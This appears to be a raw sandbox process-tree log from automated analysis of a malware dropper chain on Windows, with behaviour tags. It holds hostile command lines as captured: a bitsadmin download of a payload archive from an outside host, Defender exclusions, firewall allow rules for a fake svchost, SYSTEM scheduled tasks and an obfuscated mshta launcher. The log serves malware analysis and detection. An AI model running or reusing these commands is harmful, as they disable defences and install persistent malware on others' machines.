C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mt2vssa1.xfr\autosubplayer.exe /S & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\mt2vssa1.xfr\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\mt2vssa1.xfr\autosubplayer.exe /S13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z14⤵
- Download via BitsAdmin
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pDYE9fWUSbQZgKf8 -y x C:\zip.7z -o"C:\Program Files\temp_files\"14⤵
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -ppn3jQ1E291jN69N -y x C:\zip.7z -o"C:\Program Files\temp_files\"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsf7367.tmp\tempfile.ps1"14⤵
-
C:\Users\Admin\Pictures\Adobe Films\kPJYXiK4JokzvF07Qt8MbeJR.exe"C:\Users\Admin\Pictures\Adobe Films\kPJYXiK4JokzvF07Qt8MbeJR.exe"8⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13a47d89c50.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13a47d89c50.exeTue13a47d89c50.exe5⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4752 -s 15646⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue13530584f2459af.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13530584f2459af.exeTue13530584f2459af.exe5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13530584f2459af.exeC:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue13530584f2459af.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue132dd525eb51d2.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS07DE1F07\Tue132dd525eb51d2.exeTue132dd525eb51d2.exe5⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\jCyQvtoNcEF_HteCWStivjWV.exe"C:\Users\Admin\Pictures\Adobe Films\jCyQvtoNcEF_HteCWStivjWV.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\Y0_SdSVbnDLkv9kTxFKq2yYi.exe"C:\Users\Admin\Pictures\Adobe Films\Y0_SdSVbnDLkv9kTxFKq2yYi.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\qMaxZyfrRyDDEoYOBts12TGA.exe"C:\Users\Admin\Pictures\Adobe Films\qMaxZyfrRyDDEoYOBts12TGA.exe"6⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\k3XkRJE7kYvg6f6IKTC_1kVB.exe"C:\Users\Admin\Documents\k3XkRJE7kYvg6f6IKTC_1kVB.exe"7⤵
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\Nqz7zHf7JEi4o0NP_OacaBDB.exe"C:\Users\Admin\Pictures\Adobe Films\Nqz7zHf7JEi4o0NP_OacaBDB.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\q6AVMjRK92L4B3F_CSYxBcEE.exe"C:\Users\Admin\Pictures\Adobe Films\q6AVMjRK92L4B3F_CSYxBcEE.exe" /mixtwo8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "q6AVMjRK92L4B3F_CSYxBcEE.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\q6AVMjRK92L4B3F_CSYxBcEE.exe" & exit9⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "q6AVMjRK92L4B3F_CSYxBcEE.exe" /f10⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\AXWfzJRh0nRovBABORxVf2WM.exe"C:\Users\Admin\Pictures\Adobe Films\AXWfzJRh0nRovBABORxVf2WM.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\hk2MMsJDjtnPW8MjHCEs1LYP.exe"C:\Users\Admin\Pictures\Adobe Films\hk2MMsJDjtnPW8MjHCEs1LYP.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\qA99uved2hk8uIE_K35KwOuR.exe"C:\Users\Admin\Pictures\Adobe Films\qA99uved2hk8uIE_K35KwOuR.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\ahEBwEdq8T9yRgBLSBusadU2.exe"C:\Users\Admin\Pictures\Adobe Films\ahEBwEdq8T9yRgBLSBusadU2.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--XpjC5"10⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1e0,0x1e4,0x1e8,0x1bc,0x1ec,0x7ffdef52dec0,0x7ffdef52ded0,0x7ffdef52dee011⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x134,0x138,0x13c,0xa4,0x140,0x7ff7cd179e70,0x7ff7cd179e80,0x7ff7cd179e9012⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1644,8019853772850014945,1645909919526672512,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw13460_50348012" --mojo-platform-channel-handle=1660 /prefetch:811⤵
-
C:\Users\Admin\Pictures\Adobe Films\WcBB5GUdJu1CEnSTwHbYx78v.exe"C:\Users\Admin\Pictures\Adobe Films\WcBB5GUdJu1CEnSTwHbYx78v.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-JI3OK.tmp\WcBB5GUdJu1CEnSTwHbYx78v.tmp"C:\Users\Admin\AppData\Local\Temp\is-JI3OK.tmp\WcBB5GUdJu1CEnSTwHbYx78v.tmp" /SL5="$40310,506127,422400,C:\Users\Admin\Pictures\Adobe Films\WcBB5GUdJu1CEnSTwHbYx78v.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8ITEA.tmp\ShareFolder.exe"C:\Users\Admin\AppData\Local\Temp\is-8ITEA.tmp\ShareFolder.exe" /S /UID=270910⤵
-
C:\Users\Admin\AppData\Local\Temp\4f-809c2-da3-67f84-4cd296660ed23\Qaweqaemaesae.exe"C:\Users\Admin\AppData\Local\Temp\4f-809c2-da3-67f84-4cd296660ed23\Qaweqaemaesae.exe"11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\moyw2bip.bp3\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\moyw2bip.bp3\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\moyw2bip.bp3\GcleanerEU.exe /eufive13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\moyw2bip.bp3\GcleanerEU.exe" & exit14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "GcleanerEU.exe" /f15⤵
- Kills process with taskkill
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\oow3e0b0.0ru\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\oow3e0b0.0ru\installer.exeC:\Users\Admin\AppData\Local\Temp\oow3e0b0.0ru\installer.exe /qn CAMPAIGN="654"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n2awu40e.soa\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\n2awu40e.soa\any.exeC:\Users\Admin\AppData\Local\Temp\n2awu40e.soa\any.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fsdvxv5y.1ka\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\fsdvxv5y.1ka\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\fsdvxv5y.1ka\gcleaner.exe /mixfive13⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\fsdvxv5y.1ka\gcleaner.exe" & exit14⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "gcleaner.exe" /f15⤵
- Kills process with taskkill
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yxnuztce.chc\autosubplayer.exe /S & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\yxnuztce.chc\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\yxnuztce.chc\autosubplayer.exe /S13⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV115⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z14⤵
- Download via BitsAdmin
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -pDYE9fWUSbQZgKf8 -y x C:\zip.7z -o"C:\Program Files\temp_files\"14⤵
-
C:\Program Files (x86)\lighteningplayer\data_load.exe"C:\Program Files (x86)\lighteningplayer\data_load.exe" -ppn3jQ1E291jN69N -y x C:\zip.7z -o"C:\Program Files\temp_files\"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsmB746.tmp\tempfile.ps1"14⤵
-
C:\Users\Admin\Pictures\Adobe Films\0dDSJlZnQvkuK1VoxN97tHuc.exe"C:\Users\Admin\Pictures\Adobe Films\0dDSJlZnQvkuK1VoxN97tHuc.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\JQHhJMSb_HqRFhaAJ3fyhxBF.exe"C:\Users\Admin\Pictures\Adobe Films\JQHhJMSb_HqRFhaAJ3fyhxBF.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\H8mDPgJlNyEyJnfjqbA4GKMH.exe"C:\Users\Admin\Pictures\Adobe Films\H8mDPgJlNyEyJnfjqbA4GKMH.exe"6⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\MZebuESZgvLwRSXDPGqFrfuI.exe"C:\Users\Admin\Pictures\Adobe Films\MZebuESZgvLwRSXDPGqFrfuI.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\YUcpDvUwBIF2lNDBnMnNnkxO.exe"C:\Users\Admin\Pictures\Adobe Films\YUcpDvUwBIF2lNDBnMnNnkxO.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\kujVG5GGe2ek8fuaYQkw4LR5.exe"C:\Users\Admin\Pictures\Adobe Films\kujVG5GGe2ek8fuaYQkw4LR5.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM7⤵
- Creates scheduled task(s)
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵
-
C:\Users\Admin\Pictures\Adobe Films\wcqSDmYAzaQPq4Xjy7T44fGz.exe"C:\Users\Admin\Pictures\Adobe Films\wcqSDmYAzaQPq4Xjy7T44fGz.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\4B8BhDQ9bykNQPmYdw9BOluf.exe"C:\Users\Admin\Pictures\Adobe Films\4B8BhDQ9bykNQPmYdw9BOluf.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\X5cijgKQfMjKnRprwU8YreFX.exe"C:\Users\Admin\Pictures\Adobe Films\X5cijgKQfMjKnRprwU8YreFX.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\NF3qvWLxsEGUarpyvx7yOwx_.exe"C:\Users\Admin\Pictures\Adobe Films\NF3qvWLxsEGUarpyvx7yOwx_.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\oDwQ7LEcAjRt4GRKECYkOXaw.exe"C:\Users\Admin\Pictures\Adobe Films\oDwQ7LEcAjRt4GRKECYkOXaw.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\0Vr9D_F8XxNNWHBspJrnqkRj.exe"C:\Users\Admin\Pictures\Adobe Films\0Vr9D_F8XxNNWHBspJrnqkRj.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\fFavAFyAiEPvlZ6R3Adu8GmC.exe"C:\Users\Admin\Pictures\Adobe Films\fFavAFyAiEPvlZ6R3Adu8GmC.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\fFavAFyAiEPvlZ6R3Adu8GmC.exe"C:\Users\Admin\Pictures\Adobe Films\fFavAFyAiEPvlZ6R3Adu8GmC.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\fFavAFyAiEPvlZ6R3Adu8GmC.exe"C:\Users\Admin\Pictures\Adobe Films\fFavAFyAiEPvlZ6R3Adu8GmC.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
- Loads dropped DLL
-
C:\Users\Admin\Pictures\Adobe Films\6D5w5Q7mL7XYrOJbJ4O_r8jG.exe"C:\Users\Admin\Pictures\Adobe Films\6D5w5Q7mL7XYrOJbJ4O_r8jG.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\ViKM1A7qIBM0V_EEsw4fP8uO.exe"C:\Users\Admin\Pictures\Adobe Films\ViKM1A7qIBM0V_EEsw4fP8uO.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\PDJ5nXws4PwK00oXif7qvR5J.exe"C:\Users\Admin\Pictures\Adobe Films\PDJ5nXws4PwK00oXif7qvR5J.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\508239.exe"C:\Users\Admin\AppData\Roaming\508239.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\5126552.exe"C:\Users\Admin\AppData\Roaming\5126552.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\1342723.exe"C:\Users\Admin\AppData\Roaming\1342723.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\6793617.exe"C:\Users\Admin\AppData\Roaming\6793617.exe"7⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\8234878.exe"C:\Users\Admin\AppData\Roaming\8234878.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\hNigo7FlxRGV5nnxbOt8EzdA.exe"C:\Users\Admin\Pictures\Adobe Films\hNigo7FlxRGV5nnxbOt8EzdA.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\Q5WuGmJ59r2QogFU0JkU_U8B.exe"C:\Users\Admin\Pictures\Adobe Films\Q5WuGmJ59r2QogFU0JkU_U8B.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\Q5WuGmJ59r2QogFU0JkU_U8B.exe"C:\Users\Admin\Pictures\Adobe Films\Q5WuGmJ59r2QogFU0JkU_U8B.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\rufUX15_Izc8x9Lg_VUx3Xt3.exe"C:\Users\Admin\Pictures\Adobe Films\rufUX15_Izc8x9Lg_VUx3Xt3.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCript: clOse ( CrEATeObJeCt ( "WscrIpT.sHELl" ). rUn ( "cmd /Q /C copy /y ""C:\Users\Admin\Pictures\Adobe Films\rufUX15_Izc8x9Lg_VUx3Xt3.exe"" ..\z1HFJkPKWMLYRf.EXE && StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF """" == """" for %s iN ( ""C:\Users\Admin\Pictures\Adobe Films\rufUX15_Izc8x9Lg_VUx3Xt3.exe"" ) do taskkill /Im ""%~Nxs"" -f " , 0 , TRUE) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /C copy /y "C:\Users\Admin\Pictures\Adobe Films\rufUX15_Izc8x9Lg_VUx3Xt3.exe" ..\z1HFJkPKWMLYRf.EXE&& StArt ..\Z1hFJKPKWMLYRf.eXE -pVmK5OY1Q2FwiV3_NJROp~tX8k & IF "" == "" for %s iN ( "C:\Users\Admin\Pictures\Adobe Films\rufUX15_Izc8x9Lg_VUx3Xt3.exe" ) do taskkill /Im "%~Nxs" -f8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /Im "rufUX15_Izc8x9Lg_VUx3Xt3.exe" -f9⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\brRLNivI0mn8MoMgDt3QbiRV.exe"C:\Users\Admin\Pictures\Adobe Films\brRLNivI0mn8MoMgDt3QbiRV.exe"6⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=17⤵
- Loads dropped DLL
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--XpjC5"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x2d8,0x2dc,0x2e0,0x2b4,0x2e4,0x7ffdef52dec0,0x7ffdef52ded0,0x7ffdef52dee09⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x134,0x138,0x13c,0x110,0x140,0x7ff7cd179e70,0x7ff7cd179e80,0x7ff7cd179e9010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1648,10620972354198065081,8813036227515867356,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5384_1021377643" --mojo-platform-channel-handle=1664 /prefetch:89⤵
-
C:\Users\Admin\Pictures\Adobe Films\X_SBZP5sxufZQk3OLhF8lPwS.exe"C:\Users\Admin\Pictures\Adobe Films\X_SBZP5sxufZQk3OLhF8lPwS.exe"6⤵
-
